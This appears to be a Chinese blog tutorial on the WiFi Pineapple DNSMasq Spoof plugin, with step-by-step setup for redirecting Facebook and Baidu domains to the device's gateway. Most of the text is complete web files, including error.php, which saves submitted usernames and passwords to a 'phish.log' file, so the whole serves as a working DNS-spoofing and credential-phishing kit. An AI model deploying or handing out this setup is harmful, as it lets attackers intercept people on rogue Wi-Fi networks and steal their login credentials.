wifi pineapple 插件使用之DNSMasq Spoof

这个插件可以实现dns 重定向,将指定域名重定向到菠萝的网关 172.16.42.1 上。

1. 指定需要重定向的域名,这里用baidu 和 facebook 举例

可以再加两行

172.16.42.1 www.facebook.com

172.16.42.1 www.baidu.com

这样,baidu.com  和 www.baidu.com  两种域名都可以被重定向

2. 编辑菠萝网关展示的页面,文件位于/www 这下,需要添加的网页文件为

index.php    redirect.php    error.php    facebook.html    baidu.html

这几个文件的内容为

index.php

<html>
<head>
<meta http-equiv="REFRESH" content="0;url=redirect.php">
</head>
<body>
</body>
</html>

redirect.php

<?php
$ref = $_SERVER['HTTP_REFERER'];
if (strpos($ref, "facebook")) { header('Location: facebook.html'); }
if (strpos($ref, "baidu")) { header('Location: baidu.html'); }
require('error.php');
?>

error.php

<?php
$ref = $_SERVER['HTTP_REFERER'];
$today = date("F j, Y, g:i a");
if (isset($_POST['name']) && !empty($_POST['name'])) {
$nam = stripslashes($_POST['name']);
$pas = stripslashes($_POST['pass']);
$nam = htmlspecialchars($nam, ENT_QUOTES);
$pas = htmlspecialchars($pas, ENT_QUOTES);
$content = $today . " -- " . $ref . " -- " . $nam . " -- " . $pas;
$filed = @fopen("pineapple/phish.log", "a+");
@fwrite($filed, "$content\n");
@fclose($filed);
}
?>

<html><head>
<script type="text/javascript">
function goBack()
{
window.history.back()
}
</script>
</head>
<body onload="goBack()">
</body></html>

facebook.html 

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>facebook</title>
</head>
<body>
<p>this is facebook web page.</p>
</body>
</html>

baidu.html

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>百度</title>
</head>
<body>
<p>this is baidu web page.</p>
</body>
</html>

3. 点击Start开启 dnsmasq spoof

4. 测试

可以先ping一下baidu.com  和 facebook.com,可以发现ping这两个域名返回的ip都是网关的IP 172.16.42.1

在浏览器中输入 baidu.com,就可以显示baidu.html网页文件的内容,当然,这里可以替换成你想要展示的内容。如果没有展示,可能是浏览器缓存的原因,清除浏览器缓存再试一下。

 

 

发表评论

电子邮件地址不会被公开。 必填项已用*标注